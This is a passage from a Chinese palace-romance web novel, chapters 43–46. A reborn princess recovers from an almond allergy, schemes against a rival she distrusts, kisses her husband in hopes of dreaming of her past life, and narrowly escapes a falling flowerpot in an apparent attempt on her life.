此言一出,室内有片刻诡异的安静。 魏紫拿着帕子的手僵在半空,递也不是,收也不是。 江鹤舒眉梢微挑。这二人竟已到这个程度了吗? 三个人面面相觑,气氛一时凝滞。 谢昀的手悬在空中,片刻后终于后知后觉反应过来,魏紫是来给姒华欢擦药的,江鹤舒和他两个大男人,此刻理应回避才是。 一丝极淡的红晕迅速爬上他的耳尖,他默默将手收回,侧身让开床前的位置,看了一脸意味深长的江鹤舒一眼,先他一步,快步走出了内殿。 行至花厅,谢昀神色凝重,仔细询问江鹤舒:“临风,那外用的药汤擦洗之后,可需要再用清水擦拭?药浴又当几次为宜?” 江鹤舒看他这副恨不得事无巨细,全部亲手操办的模样,不由失笑:“你放心,这些我都已经详细告诉姚黄和魏紫了。她们都是公主身边自小侍奉的,行事最为稳妥细心,定会照料妥当,你就无需过度挂心了。” 他话锋一转,目光落在谢昀的肩膀上,“倒是你,自己的伤还未好利索呢,方才情急之下抱公主回来,动作那般大,可曾牵扯到伤口?让我看看。” 经他这一提醒,谢昀才下意识动了动受伤的肩膀,一股明显的刺痛立刻传来,想必是伤口又裂开了。 他面不改色,嘴硬道:“无妨。” 江鹤舒观他神色便已知晓,摇头叹道:“随我到偏殿,我为你重新处理包扎一下。你自己也得注意些,那伤口颇深,若再三番两次裂开感染,我这些时日的功夫岂不白费?你恢复起来也更耗时日。” 谢昀当时见姒华欢那般情形,心急如焚,哪里记得自己身上有什么伤,满心满眼只想着她如何了,该怎么办,要快些让她得到医治。 此刻稍稍安定下来,才觉出肩上的疼痛,但与之相比,想起宴席上她呼吸艰难的痛苦模样,那几乎要失去她的恐慌萦绕心头,远比肩上的伤更令他心悸。 谢昀堵着一侧耳朵:“知道了知道了江太医,别念了。” 江鹤舒简直想踹他一脚。 他们做医者的,最怕的就是遇到不听话的病人。 谢昀边往偏殿走边想,回府之后,定要让陶总管亲自去彻查厨房,确保府中绝无杏仁及其制品,杜绝一切潜在风险。 他绝不容许今日这般惊险再有发生的可能。 清晨,姒华欢醒来时,首先感受到的是喉间肿胀之感消了大半,紧接着皮肤上泛起令人烦躁的痒意。 她费力掀开沉重的眼皮,眼前模糊了好一阵,才逐渐聚焦于熟悉的帐顶,是她的永安宫。 她微微动了动,脖颈和手臂的皮肤与柔软的寝衣摩擦,带来更明显的痒意,让她忍不住伸手去抓。 “别抓。” 一个低沉而熟悉的声音在床边响起,沙哑的嗓音难掩疲惫。 姒华欢侧过头,循声望去。只见谢昀就坐在床边的梨花木圆凳上,身姿挺拔,但眉眼间却笼罩着一层挥之不去的倦色。 他换下了宴席上的墨色长袍,穿着一身白色长袍,烛光在他轮廓分明的侧脸上投下淡淡的阴影,让他看起来比平时多了几分柔和。 “痒……”她咕哝道。 谢昀倾身,伸手探了探她的额头,确认没有继续发热,才稍稍松了口气。 “临风说了,疹子退下去前都会痒,不能抓。”他解释道,语气极有耐心,带着点哄劝的意味,“魏紫刚给你擦过药,忍一忍,一会儿便能好些。” 正说着,姚黄走进来,见姒华欢醒了,面上顿时露出欣喜之色:“殿下你醒了!真是吓死姚黄了!” 姚黄快步上前,小心地将姒华欢扶起一些,在她背后垫上软枕。 “我这是怎么了?”姒华欢问。 谢昀给她递上一杯温水:“御膳房的宫女不小心将杏仁粉混入了木薯粉,撒在了雪酥山上,你食用后起了风疹。” 听到这个,姒华欢才想起来从前听母后说过她儿时的惊险过往。后来的十几年中,她被保护得太好,跟前根本不会出现杏仁做的吃食,几乎都快忘记这个忌口了。 她不由心有余悸:“真是该死。” 谢昀:“嗯,陛下已经处置了。” 很快,江鹤舒闻讯赶来,仔细为姒华欢诊了脉,又查看了她身上的红疹。 “殿下脉象已趋于平稳,邪毒基本控制住了,再服用几剂汤药,配合外用药擦洗,静养几日便无大碍。只是此次耗损元气,近日需饮食清淡,不可食发物,好好将养。” 姒华欢配合地点点头。 她一直是大病没有,小病不断,已经非常习惯饮食清淡的日子。 江鹤舒瞥了眼姒华欢,思索一瞬,对谢昀道:“你适当些,该休息就去休息。肩上的伤崩开了,又在这熬了一整夜,别公主好了,你又倒下了。” 姒华欢微微一愣:“……你在这守了一整夜?” 谢昀收到江鹤舒懂事的眼神,“嗯。” 姒华欢心情复杂,低低“哦”了一声。 她身边又不是没人,他何必在这守一晚? 心绪正乱着,魏紫进来了,表情带着些许忐忑,欲言又止,似是有什么消息必须说,但又不知道该不该说。 “怎么了?”姒华欢耐着性子问。 之前公主让她看着薛宝芝的动向,但凡有点消息都要事无巨细地禀报,但今日发生的事,公主一定不想听到。 “殿下,皇后娘娘……”魏紫紧张地舔舔嘴唇,“邀了薛大小姐进宫……” “什么!?”姒华欢瞬间弹坐起身。 她已然阻止薛宝芝为母后施针了,为何母后还会召见她!?—— 作者有话说:沾上薛宝芝也算是被鬼缠上了 第43章 如果主动再亲他一下………… 姒华欢柳眉紧蹙:“为何?” “说是感谢薛大小姐为殿下施针, 及时救治殿下。” “等一下。”姒华欢不可置信地伸出一根手指指向自己,“为我施针?” 这一世怎么变成为她施针了?? 江鹤舒解释道:“昨晚殿下风疹来得急猛,缠塞喉间, 凶险万分, 若非薛大小姐当机立断施针,只怕……” 他又自然而然地夸赞起薛宝芝来:“薛大小姐年纪轻轻, 竟有如此胆识和医术, 能在那等危急关头挺身而出, 精准施为, 可见其天资聪颖,心性沉稳,实在是难得。” 姒华欢听着心中烦闷无比。 明明已经设法阻止了薛宝芝借为母后诊治头风之机接近他们, 却没想到,兜兜转转, 竟然因为自己这次意外的风疹, 又让薛宝芝以同样的方式成功引起父皇母后的注意! 哥哥当时亦在场, 定然也对她多几分感激与刮目相看。 这绝对不行! 薛宝芝心机深沉,惯会做戏,表面上温良贤淑,实际上品行卑劣, 心术不正。 前世她嫁与哥哥不久,一次围猎中, 一名贵女因钦慕哥哥墨宝, 多与哥哥说了几句话,敬了杯酒,不过是最寻常的交际。 薛宝芝当时面上笑得温婉大度,毫无芥蒂, 可没过几日,那女子父亲便在朝中遭人弹劾,被贬斥出京。 事后姒华欢才得知,那弹劾的御史,与薛宝芝的母家私下交情甚深。 她直觉那弹劾的证据是伪造的,但此事做得极为隐秘,毫无证据,无从查起。 薛宝芝这种暗室私心,无端害人的行径,令她极为不齿。 这样的女人,怎能让她再有机会靠近哥哥,甚至成为太子妃? 想到这,姒华欢眼珠一转,捂住额头,急切道:“我头好痛,难受得很。我现在就要见母后,快去请母后来!” 江鹤舒见她喊头痛,立刻上前要为她诊脉,却被她推开。 “我要母后来!” 谢昀本被她一嗓子喊得提起心来,见她此举,明了她并非真的头痛,便没有再动作,只静静在一旁看着她演。 皇后听闻姒华欢醒来又喊头痛,哭着喊着要见她,自是心急如焚,很快便赶到了永安宫。 然而,姒华欢一眼就看到,跟随在母后身后那道窈窕的身影,不是薛宝芝又是谁! 她今日穿着一身藕荷色襦裙,比昨夜宴上更显素雅,低眉顺眼,姿态恭谨。 但姒华欢却觉得刺眼无比。她本意是让母后快来,好趁机让母后快些打发走薛宝芝,怎么母后反倒把她带来了?! 姒华欢气得眼前一黑。 皇后疾步走到床前,见女儿脸色发白捂着额头,瓷白的皮肤上还有大片大片的红疹,心疼不已,连忙坐下抚上她的头。 “蓁蓁,怎么了?头还疼得厉害吗?身上可还痒?昨晚真是吓死母后了,听闻你那般凶险,母后差点就……”说着,皇后的眼眶便有些泛红。 姒华欢顾不得许多,一双大眼直勾勾盯着皇后身后的薛宝芝,几乎要冒出火来。 皇后察觉到她的目光,轻轻拍了拍她的手背,温声道:“蓁蓁,母后都听说了,昨日多亏了宝芝这孩子,胆大心细,医术了得。” 薛宝芝上前福身行了一礼:“臣女参见公主殿下。公主可好些了?昨日情急,若有冒犯之处,还望公主恕罪。” 宝芝?母后竟已唤她宝芝了?!如此亲密的称呼! 姒华欢只觉得一股血气直冲头顶,耳边嗡嗡作响,这下头是真的开始痛了。 薛宝芝这个虚伪的女人,惯会用这副温顺乖巧的模样骗人! 姒华欢将头埋进皇后怀中,用了蹭了蹭,带着鼻音撒娇道:“母后,这里人太多了,看得我头疼,让他们都出去……我只想和母后待着……” 皇后何等了解自己的女儿,见她这般,哪里不明白她的小心思。 这分明就是不想见薛宝芝,在这使性子呢。 她无奈地叹了口气,既是心疼女儿受罪,又觉得她对好歹救了她命的薛宝芝这般态度,实在是有些失礼。 她安抚地拍了拍女儿的背,转头对屋内其他人,依旧保持着慈和的笑容:“景初,临风,公主刚醒,身子还有不适,需要静养。你们先退下吧。” “宝芝,本宫改日再召你来说话。” 改日再召? 姒华欢在皇后怀里听着,心中更是郁闷地无以复加,恨不得立刻跳起来反对,却又只能死死忍住。 薛宝芝依旧是那副温婉顺从的模样,恭敬行礼:“是,臣女告退,愿公主殿下早日康复。”说完,便随着其余人一同退了出去。 一直默默在一边的谢昀,将姒华欢所有的反应尽收眼底,心中掠过一丝疑惑。 之前他看出姒华欢对薛宝芝的态度,似乎不仅仅是任性,而是一种莫名的敌意。每每听到她的名字或见到她,都有显而易见的排斥。 即便是如今薛宝芝救她一命,也不动摇。 这与他认知中姒华欢虽骄纵却并非不讲道理的性子颇有些不符,但他一时也想不出缘由,只能将这怪异暂压心底。 待殿中只剩下母女二人,姒华欢才从皇后怀里抬起头来,撅着嘴,一脸委屈和不高兴地看着皇后。 皇后伸出一根手指,轻轻点了点她的额头,嗔怪道:“你呀,宝芝好歹救了你的性命,你倒好,醒来就对人家横眉冷对的。就算你从前不喜她,也不该如此。你告诉母后,你对她有什么偏见不成?” “这是两码事。”姒华欢抓住皇后的衣袖,“她救了我,我……我自然感激。但一码归一码,母后不会还想让哥哥替我‘以身相许’来报恩吧?” “胡说八道什么。”皇后被女儿的口无遮拦气笑了,“越说越不像话了。母后只是觉得宝芝这孩子确实不错,品行端方,知书达理,又有这般胆识和急智,在京中贵女里算是拔尖儿的了。若子韫有心,那便是他自己的事了。” 嘉平帝确对此事有所思量。 薛相乃肱骨之臣,一心为大越。其女姿容出众,品行端方,实乃太子妃的不二人选。 唯一令他犹豫的是,宝贝女儿似乎对她并无好感。但经此一事,或许能扭转女儿对她的看法,促成这段姻缘。 “她那都是装的!母后别被她骗了!”姒华欢急道。 皇后稍敛笑容,正色看着女儿:“装的?蓁蓁,你与她平日并无往来,如何知晓她就是装的?” “一个人装一天两天容易,装一年半载尚且辛苦,母后也打听过了,宝芝在京中风评一向甚好,自幼便是温婉乖巧的性子,并非突然如此。你究竟因何对她有如此深的误会?” 姒华欢张了张嘴,却哑口无言。 她难道能告诉母后,她是重生而来,亲眼见过薛宝芝嫁给哥哥后,是如何表面贤良,背地里却用手段排除异己,甚至牵连无辜? 她能说薛宝芝看似不争,实则对太子妃之位势在必得。说薛家的目的是操控朝堂,做一个翻手为云,覆手为雨的权臣吗? 她不能。 看着母后关切的目光,她心中焦急万分,想了半天,说了一件她曾见过的事: “才不是误会!之前我远远见过她的贴身侍女对一个七品小官的女儿气焰嚣张、作威作福,薛宝芝就在一旁,但并无阻拦之意。” “如果主子的品性真良善,身边的侍女是不会这么盛气凌人、目中无人的。” “母后,你信我一次。你喜欢她、赏赐她都可以,但她万万不是哥哥的良配啊!” 皇后看着女儿急得眼圈都红了,将姒华欢搂进怀中,柔声安抚:“好了好了,瞧你急的。母后会思量的,你只管好好休息,先把身子养好最要紧。” 姒华欢不情不愿地蹭着皇后,点了点头。 皇后走后,她让魏紫去她的私库中拿出来不少好东西,派人去赏赐给薛宝芝,当作谢礼。 一码归一码,薛宝芝救她不假,她欠薛宝芝什么也不想欠她人情,便给了薛宝芝丰富的赏赐还清。 下次再见,就各论各的了。 ***** 傍晚,姒华欢拿着一面精致的铜镜仔仔细细照着看自己脖子上的红疹。 疹子虽然依旧明显,但颜色似乎比清晨醒来时淡了一些,也没有那么痒了。 她轻轻吁出一口气,抚上自己光滑的脸颊。万幸这些恼人的东西没有蔓延到脸上,否则她真是连门都不想出了。 殿外传来熟悉的脚步声,珠帘轻响,谢昀走了进来。 他处理完公务,再次过来探望,埋进内殿,看到姒华欢墨发披散,手持铜镜坐在床上,正专注地查看自己的脖子。 他放轻脚步走过去,站到床前,目光落在她颈间,见那红疹确有消退的迹象,悬了一天的心才终于落下,松了口气。 “感觉如何?还痒得厉害吗?”谢昀走到床边,很自然地坐下。 姒华欢用余光看到他走近,“嗯”了一声,算是回答,心思很明显没放在他身上。 她思忖片刻,放下铜镜,转过头来,一双乌溜溜的猫眼一眨不眨地盯着他的脸看,视线最终定在他的嘴唇上,若有所思。 谢昀被她看得有些不自在,下意识摸了摸自己的脸:“我脸上有东西?” 他顺手拿过姒华欢手中的铜镜,左照照,右照照,脸颊干净,并无异样。 他放下镜子,对上她的视线,搞不懂这小祖宗又在打什么主意。 姒华欢心中正盘算着她的计划。 她仔细想过了,上次和上上次梦到前世,都和谢昀吻过。那么,如果主动再亲他一下……是不是就能再次梦到前世? 她迫不及待地想梦到更多关于薛宝芝的事情,看薛宝芝的下场究竟如何。哥哥不会心软放她一马,还让她荣登后位吧? 眼下这个机会正好,殿内没有旁人…… “我想让你帮我个忙。”她朝谢昀勾了勾手指,示意他靠近。 谢昀虽然不明所以,还是依言向前倾了倾身—— 作者有话说:只需要女鹅勾勾手指[狗头] 第44章 荒唐至极、火热无比…… 他只是凑近了些, 与她保持着一段礼貌又不会太疏远的距离,挑眉用眼神询问:怎么了? 姒华欢不满地“啧”了一声,对他这点幅度十分不满意。 “你再过来点。”她娇蛮地催促道。 谢昀看着她这熟悉的神情和动作, 脑海中闪过那晚。 同样是这样的夜晚, 她也是这般,有些虚弱, 眼神迷蒙又带着点狡黠, 不断让他靠近, 然后在他毫无防备之际, 猛地将他扑倒…… 思及此,谢昀的心跳漏了一拍,耳根隐隐发热。 他喉结不自觉滚动了一下, 看了眼她还泛红的脖颈,挺直了些脊背, 声音有些紧绷, 劝阻道:“你……你现在应以养好身子为重, 那种事……等你痊愈了,之后再做也可以。” 他这话说得含蓄又别扭,姒华欢先是一愣,随即反应过来他指的是什么, 小脸轰一下涨得通红,脖子上的红疹都更明显了。 她又羞又恼, 嗔怒地瞪了他一眼:“谢昀!你脑子里整日都在想什么乱七八糟的东西!” 被她连名带姓地一吼, 谢昀意识到自己会错了意,紧绷的心神一松。但与此同时,一股淡淡的失落感又悄然掠过心头。 他摸了摸鼻子,重新问道:“那你到底想做什么?什么忙需要凑这么近才能帮?” 姒华欢被他问得有些语塞, 总不能说“我想亲你一下试试能不能做梦”吧? 她支吾了一下,见谢昀磨磨蹭蹭,问东问西,她有点没耐心了,索性掀开盖在腿上的薄被,作势要下床,大有股要干架的气势。 谢昀也顾不得多想,连忙上前一步按住她的肩膀,将她安抚下来,把薄被给她盖回去,语气带着无奈和纵容:“别动,临风说了你要静养。好好好,我不问了,你继续说,到底要我帮什么忙?” 姒华欢这才重新坐好,再次朝他勾了勾手指,这次压低了声音,神秘兮兮地说:“隔墙有耳,不能让别人听见,你附耳过来。” 谢昀看着她这副煞有其事的模样,虽然心中疑窦丛生,还是依言再次俯下身,将侧脸凑近她,做好了听她说出任何惊世骇俗的话的准备。 然而,预想中的低语没有传来。取而代之的,是两只微凉柔软的小手突然捧住了他的脸,带着不容拒绝的力道,将他的头从侧耳的位置轻轻扳正脸回去。 还没等他反应过来,眼前的光被遮挡,一张精致的小脸凑近,紧接着,一片温软馨香轻轻贴上了他的唇。 一触即离。 快得如同蜻蜓点水,却在他的心湖投下巨石。 谢昀整个人彻底僵住,维持着附身的姿势,眼睛睁大,难以置信地看着近在咫尺的姒华欢,大脑一片空白。 姒华欢仰着头亲完这一下自己先无地自容,脸上烫得快熟了,根本不敢看谢昀此刻是什么表情,立刻松开手,哧溜一下就滑进了锦被中,用被子把自己从头到脚严严实实地裹了起来。 只留下闷声闷气一句:“我……我要睡觉了!你快点走吧!” 直到那团被子拱动了几下归于平静,谢昀才像是被解除了定身咒般,缓缓直起身。 他下意识抬手,指尖轻轻碰了碰自己的嘴唇。 她刚刚是……主动亲他了? 不是戏弄,而是一个认真的吻? 尽管短暂得可怜。 “姒华欢,”谢昀回过神来,困惑和一丝狂喜交织在他心头,他一时之间有些无所适从,“你这是什么意思?” 被子里传来闷闷的、恼羞成怒意味的声音:“没什么意思!我困了!听不懂人话吗?” 得不到答案,谢昀只觉得心痒难耐,像是有羽毛在他心尖上轻轻搔刮。 他伸手想去拉一拉那被子,看看她此刻到底是个什么模样。 然而他刚碰到被角,里面的人就像是早有防备似的,死死拽住了被子边缘,纹丝不动。 他试了两次都没拉动,反而引得被子里的人不满地哼哼了两声。 看着她这副驼鸟样,谢昀不由低低轻笑出声。 虽然不明所以,但她主动亲近他这件事本身,就足以让他心潮澎湃。 他不再强行拉扯,戳了戳被子下鼓出的一团,语气带上一丝戏谑和宠溺:“喂,你是想把自己闷死在里面吗?” 被子里的人不吭声,但拽着被子的力道丝毫未减,显然是打定主意不理他。 谢昀知道今晚是问不出个所以然了。 虽然不知道她这突如其来的吻是心血来潮的捉弄,还是又想到了什么稀奇古怪的点子在他身上找乐子,但唇上的感觉是真实的,他心中的欢喜也是真实的。 他舔了舔似乎还残留着她温度的唇瓣,眼底漾开一抹连自己都未曾察觉的温柔笑意。 也罢,来日方长。 “好吧,那我真走了。”他对着那团被子说道,声音里含着笑,“你可以出来了,别闷坏了。” 床上那团被子依旧毫无动静。 谢昀无奈地摇摇头,又驻足看了那团被子片刻,才转身,满面春光、步履轻快地离开了永安宫。 确定谢昀的脚步声彻底消失在殿外,锦被才被小心翼翼地掀开一条缝,露出姒华欢一双水汪汪的大眼睛。 她警惕地四下张望,确认谢昀没有耍花招,真的离开了,才将整个脑袋露出来,大口呼吸着新鲜空气。 此刻她的脸颊红得不像话,心跳快如擂鼓。她用手背冰了冰发烫的脸颊,在心里拼命安慰自己: 没事的没事的!只是为了做梦,是为了正事!不得已为之的献身,啊不,献吻一下而已,也不损失什么,没关系的! 对!就是这样! 自我催眠了一番后,她不敢再多想,生怕扰乱她的正事,赶紧重新躺好,紧紧闭上双眼,一心只想着薛宝芝前世的种种,在心中默默祈祷: 快点睡着,快点做梦,一定要梦到薛宝芝的下场…… 寝殿内安静下来,只剩下她平稳的呼吸声,和窗外渐沉的暮色。 然而,唇上那短暂的触碰,却像是一个小小的火种,悄然落在心湖上,漾开一圈圈难以平息的涟漪。 今夜,注定有人要辗转难眠了。 ***** 翌日一早,下了早朝,谢昀朝服都未换就赶到永乐宫探望。 踏入内殿,一眼便瞧见姒华欢背对着他,坐在妆奁前,背影都透出一股怨气。 他走上前,从铜镜中清楚地看到,姒华欢一张小脸垮着,顶着两个大大的黑眼圈,盯着镜子中的自己黯然神伤。 “怎么了?”他问道,“昨夜没睡好?可是身上还痒得难受?” 姒华欢听到他的声音,幽怨地抬起眼皮,透过镜子死死盯住他。 都怪他! 昨夜,她抱着“献身”的悲壮决心亲了他之后,满心期待地梦到薛宝芝前世。 可结果呢?薛宝芝的影子都没梦到,反而做了个荒唐至极、火热无比到让她无地自容的春.梦! 梦里的场景清晰得可怕,她与谢昀……那般抵死缠绵,耳鬓厮磨…… 夜半惊醒时,她浑身发烫,心跳如擂鼓,羞得恨不得找个地缝钻进去。 她从未做过这样的梦! 后半夜更是心有余悸,辗转反侧,无论如何也睡不着了,睁眼到天明,这才顶上了两个大大的黑眼圈。 这种难以启齿的事,她怎么可能告诉谢昀? 难道要她说“我亲你一下是想梦到别人,结果却梦到和你颠鸾倒凤了”吗? 姒华欢越想越气,转过头,狠狠刮了谢昀一眼,从鼻腔里发出一声重重的:“哼!” 她霍然起身,抬脚就往外走。 谢昀被她这没头没脑的一哼搞得莫名其妙,看着她气冲冲的背影一头雾水。 这大清早的,谁又招惹这位小祖宗了? 反正肯定不是生他的气。 昨夜她都主动亲他了,虽原因不明,但也是亲了! 这说明什么?说明他们都关系更进一步了,她怎么会生他的气呢?定然是有人惹她不快了。 一想到昨晚那个喜出望外的吻,谢昀眉眼都飞扬起来,嘴角控制不住地向上弯起。 于是,谢昀心情颇佳地抬步,亦步亦趋地跟上了气冲冲往外走的姒华欢,语调轻松地问道:“你这是要去哪?早膳用过了吗?身子可还有不适?” 姒华欢根本不理会他,只顾闷头往前走。 谢昀见她反应,愈发肯定了自己的猜测——她这是还在害羞呢。肯定是因为昨晚那个吻,一时冲动但仍不好意思面对他,所以才用生气来掩饰。 他心中窃喜不已,像是偷吃了蜜糖的孩子,也不再多问,继续不紧不慢地跟着,目光落在她因快步走动而微微晃动的裙摆上,只觉得分外可爱。 连带着,他觉得今日的阳光都格外明媚。 两人一前一后,刚绕过一处回廊拐角,迎面遇上一人。 那人身着一身红色官服,身姿挺拔,面容清俊,眉眼温润,带着一股书卷气的,正是刑部侍郎林珩。 他显然是从紫宸殿方向出来,正要出宫。 谢昀下意识瞥了一眼姒华欢。 姒华欢已有好些时日未见他,此刻一见,只觉得眼前之人眉目清朗,虽算不上多俊美,但气质干净,宛如一块上好的暖玉。 与梦中某人那种侵略性的俊美不同,对比之下,更觉得林珩长相清纯许多,让人见之便觉心旷神怡。 姒华欢顿觉眼睛得到了洗涤,胸中的闷气都散了大半,心情大好,停下脚步,脸上绽开一个明媚的笑容,主动招呼道:“林侍郎,好久不见。” 谢昀的笑容全转移到了姒华欢脸上。 差点忘了,还有个她“喜欢”的林珩呢—— 作者有话说:姒华欢:嘻嘻 谢昀:不嘻嘻 第45章 竟有人当街谋害公主!…… 林珩见到姒华欢也是微微一愣, 随即迅速垂下眼帘,规规矩矩地躬身行礼,姿态从容, 声音温和:“微臣参见公主殿下。” 他行礼时, 目光不着痕迹地扫过失去笑容的谢昀:“驸马。” 谢昀听到这两个字挑了挑眉。 通常情况下,即便他尚了公主, 朝中众人乃至宫中内侍, 大多会称呼他原本的爵位“明安侯”或者“谢侯爷”。 这既是习惯, 也不约而同是一种共识。 他并不仅仅是依附于公主的驸马, 更是战功赫赫的骠骑大将军之子,称爵位显然比“驸马”更显尊重,也避免了些许屈居人下的意味。 这林珩, 倒是与众不同,突然改口直接唤他“驸马”。 奇怪的是, 谢昀听着这声“驸马”, 非但没有觉得被轻视, 心底反而略过一丝极其微妙的感觉。 这感觉倒是新鲜,也不赖。这个称呼,将他与姒华欢更紧密地联系在了一起,听起来很是……名正言顺。 他的心情拨云见日, 连带着看林珩也顺眼了半分。 不愧年纪轻轻就能在刑部站稳脚跟,在朝中也混得风生水起, 是个左右逢源、心思剔透的人精, 最是会拿捏人心,偏偏还让人很受用。 他客气地回了半礼:“林侍郎。” 姒华欢没在乎这细微的称呼变化,只笑着与林珩寒暄了几句。林珩应答得体,保持着恰到好处的距离。 “殿下, 衙中尚有文书亟待处理,不敢久留,微臣先行告退。” 姒华欢心情正好,含笑点头。 他又向谢昀行了一礼,周全礼数:“驸马,下官先行一步。” 谢昀难得和气地点了点头:“林侍郎慢走。” 待林珩的身影消失在宫道尽头,姒华欢脸上的笑容还未完全敛去,一回头,便对上谢昀那双似笑非笑的眼眸。 “看什么看!”姒华欢这才想起自己还在生气,立刻又板起小脸,哼了一声,扭头继续往前走,只是脚步不再像刚才那般气冲冲了。 谢昀本来以为她生气和自己没关系,见姒华欢如此明显的好恶,美滋滋不起来了,长腿迈两步便跟上了她。 “你在生我的气?”他绕到她面前,一面细细打量她的神色,一面倒着走,“如果我没记错的话,昨晚是你主动亲的我,不是我……唔——” 姒华欢心头一跳,似乎能感觉到周遭宫人忍不住投来的八卦目光,三步并作两步上前,一把捂住了他的嘴。 这人怎么能如此不知羞! “你再敢说我就把你赶出宫去!” 谢昀继续逗她:“我是名正言顺的驸马爷,又不是私会的情郎,有什么见不得人的?” 姒华欢气结,扬手锤了他一拳。他没躲,结结实实挨了这一下,反而低低笑起来,胸腔微微震动。 她觉得,就是最近谢昀整日在她眼前晃,她才会做那种梦。 在她想明白前世梦境是如何触发前,能不见他就不见他了。 ***** 姒华欢一连在皇后的立政殿待了几日。 她的永安宫谢昀已经进习惯了,但是母后的寝殿他是不方便进的,可算是眼下清净了。 一早,姒华欢收到一封素笺,上面是熟悉的字迹,只寥寥数语:午时初,聚仙楼兰雅轩。 落款是叶殊宜。 她性子跳脱,临时邀约也是常事,姒华欢早已见怪不怪。她看着时辰,让人备车,准备去赴约。 聚仙楼依旧宾客盈门,甚是热闹。兰雅轩在二楼临窗位置,推开窗便能看见楼下熙攘的街景。 姒华欢到得稍早,在靠里的椅子坐下,静静等候。桌上一壶新沏的热茶,茶香袅袅。 窗外日头渐高,街市喧嚣更甚。午时正刻,仍不见叶殊宜的身影。 姒华欢端起茶杯,浅啜一口,微凉的茶汤入口,她轻轻蹙起了眉头。 这可不像叶殊宜的作风,即便临时有急事绊住了脚,她也必定会遣个小厮或丫鬟快马加鞭来告知一声,绝不会让她这样空等。 莫非叶家出了什么急事? 正纳闷着,雅间的门“吱呀”一声被从外推开。 姒华欢抬眼望去,以为是叶殊宜终于到了,唇边刚漾起一点笑意,却在看清来人时凝住了。 门口站着的是林珩,今日穿着一声靛蓝色锦袍,身姿挺拔,面容清俊。 林珩显然一怔,目光快速在雅间内扫了一圈,眉宇间染上一丝讶然,似乎没料到屋内有人。 随即他敛去脸上神色,立刻后退半步,动作流畅拱手俯首行礼,声音温和沉稳:“见过殿下。臣不知殿下在此,冒昧打扰,恕臣失礼。” 姒华欢微微抬手免了他的礼,“林侍郎可是走错了地方?此间是兰雅轩。” 林珩眸光微不可察地一闪。 他收到的素笺上写的正是兰雅轩没错。上面的内容语焉不详,只道是有事相商,落款是康乐公主。 此刻听到公主的询问,马上反应过来那封素笺并非出自公主手笔,是有人故意用此引诱他前来。 “确是臣唐突,一时不察走错了雅间。”他思忖一瞬,问出句有些僭越的话,“殿下也在等人吗?” 姒华欢不甚在意回道:“嗯,她还没到呢。” 林珩心下顿时清明,是有人蓄意分别将他与公主骗至此地,意图制造这所谓的“偶遇”。 若他此刻不及时抽身,恐怕很快便会有风言风语传出,聚仙楼内俱是人证,他们百口莫辩。 他心思急转,面上却不动声色,依旧是那副温润守礼的模样,从善如流地接话,语气带着几分赧然:“殿下恕罪,臣这便告退。” 言辞恳切,理由得体,全然抹去了此次相遇的刻意,仿佛真的只是一次再寻常不过的误入。 说完,他保持着恭敬的姿态,稳步退出了雅间,并细心地将房门掩上。 门扉合拢,隔绝了内外。林珩站在廊中,面上的从容淡去几分,眉头微拧。 此为一箭双雕之举。既会有损公主清誉,也会牵连他的名声。 能这般熟悉内情又手段刁钻的,除了他那四妹妹林妙晴,再不会有第二人。 他得立刻离开聚仙楼,越快越好。 几乎是同一时刻,几条街外的大理寺衙署内,谢昀正与同僚们要一起去会食。 一名身着常服的护卫悄无声息快步走到谢昀身边,凑近在他耳边低语了几句。 谢昀脸色缓缓沉了下来。 怎么又是这个林珩? 不知为何姒华欢一连躲了他好几日,出来居然是为了与林珩相约。 林珩有什么好的?论相貌,不过中等之姿;论才学,京城世家子弟中比他出众的也不是没有。怎的就偏偏入了她的眼,竟还相约共进午膳。 没有半点犹豫,谢昀转身便往外走。 同僚们也不知他是听到了什么这么生气,想八卦但不敢,只得面面相觑,其中一人喊道:“谢少卿,还回来用午膳吗?” 然而谢昀脚下生风,根本没听到他的话。 兰雅轩内,姒华欢又独自枯坐了一刻钟,茶水已彻底凉透,叶殊宜还是没出现,连来个传话的人都没有,这太不寻常了。 她心中疑虑更甚,隐隐觉得似乎哪里不对,却又说不上来。 “魏紫,你亲自去一趟卫国公府,问问殊宜到底什么情况,然后告诉她我先回府了。” “是,殿下。”魏紫领命而去。 她从未苦等过一个人这么久,若等的人并非叶殊宜,她定要那人好看。 她没了用膳的心思,不再等,起身下楼准备回府。 午时,日光有些烈,明晃晃地照在地上,反射出刺眼的光。 姒华欢眯着眼,走向自己的马车,却见车夫正蹲在车轱辘旁,焦灼地察看着什么。 “怎么了?”姒华欢走近问道。 车夫闻声忙起身行礼,额角带着汗,指着那个明显歪斜了的车轮:“殿下,真是邪门了,方才还好好的,一转眼都功夫,这车轱辘不知怎的就坏了,轴裂了道大口子,绝不能走了。小的已让人赶紧回府去另套一辆车来,请殿下稍候片刻。” 姒华欢忍不住蹙眉,点了点头。 午后的日头确实毒辣,热气蒸人。她往后退了几步,站到聚仙楼二楼房檐下的阴影中,望着街上来来往往的行人与马车出神。 正值午市,人流如织,门口等候的马车不少,略显拥挤。她又向后挪了两小步,想更避开些日头,也离街道中央远些。 就在她脚跟刚站稳的霎那,一团影子在她眼前自上而下一闪而过,随后—— “砰!哗啦!” 一声巨响毫无预兆地在她正前方炸开。 泥土四溅,碎裂的瓷片飞崩向周围,一株叫不出名字的花连同沉重的泥土坨砸落在地,距离她的鞋尖不过半寸之遥。 突如其来的惊吓让姒华欢浑身一颤,脸色煞白,心脏几乎要跳出胸腔。 她捂着心口连连后退,脊背抵住了墙壁。 她极易受惊,平日里身旁人说话突然大声些都能让她吓一跳,心慌好一阵,更何况是今日这般骇人的动静。 待惊魂稍定,她低头看去,那是一个粗陶花盆,看起来就极其沉重,此刻已摔得四分五裂。 若是她方才没有恰好后退那两步,这重物正正砸落在她头顶,她就要把小命交代在这了。 她重生回来不过数月,还没好好教训谢昀,就这样再次死掉也太草率了。 姒华欢抬头向上望去,只见三楼的一扇窗大敞着,窗后空荡荡的,不见半个人影。 那样沉重结实的花盆,绝非风力能吹落,更不会被轻易碰倒。 光天化日,天子脚下,竟有人当街谋害公主! 第46章 你派人监视我? “姚黄, 立刻去三楼那间屋子查看,看是何人胆大包天!”她的声音因后怕和愤怒而微微发颤。 她不想再死一次了。 姚黄不敢怠慢,提起裙摆飞快冲回聚仙楼内, 直奔三楼。 等待的时间显得格外漫长。姒华欢靠在墙边, 阳光照不到她,她盯着地上的狼藉, 只觉得浑身发冷。 不一会儿, 姚黄气喘吁吁跑了回来, “殿下, 那雅间中空无一人。我问过堂倌,说那间是一位张姓公子预订的,但没人来过。” 